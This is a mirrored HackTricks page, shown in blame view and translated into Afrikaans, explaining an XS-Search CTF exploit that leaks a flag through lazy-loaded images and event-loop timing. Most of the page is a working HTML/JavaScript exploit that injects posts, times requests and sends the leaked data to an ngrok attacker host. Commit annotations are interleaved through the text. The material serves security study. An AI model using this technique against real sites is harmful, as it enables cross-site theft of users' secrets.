Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 22:52:06 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

164 lines
7.2 KiB
Markdown
Raw Normal View History

Translated to Afrikaans
2024-02-11 02:07:06 +00:00
# Event Loop Blokkering + Luie beelde
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
<details>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks af in PDF-formaat**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
In [**hierdie uitbuiting**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), meng [**@aszx87410**](https://twitter.com/aszx87410) die **luie beeld sykanaal**-tegniek deur 'n HTML-injeksie met 'n soort **event loop blokkeringstegniek** om karakters te lek.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Dit is 'n **verskillende uitbuiting vir die CTF-uitdaging** wat reeds bespreek is op die volgende bladsy. Kyk vir meer inligting oor die uitdaging:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
{% content-ref url="connection-pool-example.md" %}
[connection-pool-example.md](connection-pool-example.md)
{% endcontent-ref %}
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Die idee agter hierdie uitbuiting is as volg:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Die plasings word alfabeties gelaai.
* 'n **Aanvaller** kan 'n **plasing** inspuit wat begin met 'n **"A"**, dan sal 'n paar **HTML-etiket** (soos 'n groot **`<canvas`**) die meeste van die **skerm** vul en 'n paar finale **`<img lazy`-etikette** om dinge te laai.
* As die aanvaller in plaas van 'n "A" dieselfde plasing inspuit, maar begin met 'n "z", sal die **plasing** met die **vlag** **eerste** verskyn, dan sal die **ingespuite plasing** verskyn met die aanvanklike "z" en die **groot** **canvas**. Omdat die plasing met die vlag eerste verskyn het, sal die eerste canvas die hele skerm inneem en die finale **`<img lazy`-etikette** wat ingespuit is, sal nie op die skerm sigbaar wees nie, sodat hulle nie gelaai sal word nie.
* Dan, **terwyl** die bot die bladsy **toegang**, sal die aanvaller **fetch-versoeke stuur**.&#x20;
* As die **beelde** wat in die plasing ingespuit is, **gelaai** word, sal hierdie **fetch**-versoeke **langer neem**, sodat die aanvaller weet dat die **plasing voor die vlag** is (alfabeties).
* As die **fetch**-versoeke **vinnig** is, beteken dit dat die **plasing** **alfabeties na** die vlag is.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
Kom ons kyk na die kode:
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
```html
<!DOCTYPE html>
<html>
<!--
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
-->
<body>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
<button onclick="run()">start</button>
<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>
<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'
const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
// I have omited code here as apparently it wasn't necesary
// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}
}, 0)
async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()
setTimeout(() => {
run(str, resolve)
}, 500)
})
}
async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}
let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)
/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}
// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}
</script>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</body>
</html>
```
<details>
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
Translated to Afrikaans
2024-02-11 02:07:06 +00:00
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
GitBook: [#3600] No subject
2022-10-12 19:31:39 +00:00
</details>
Reference in a new issue Copy permalink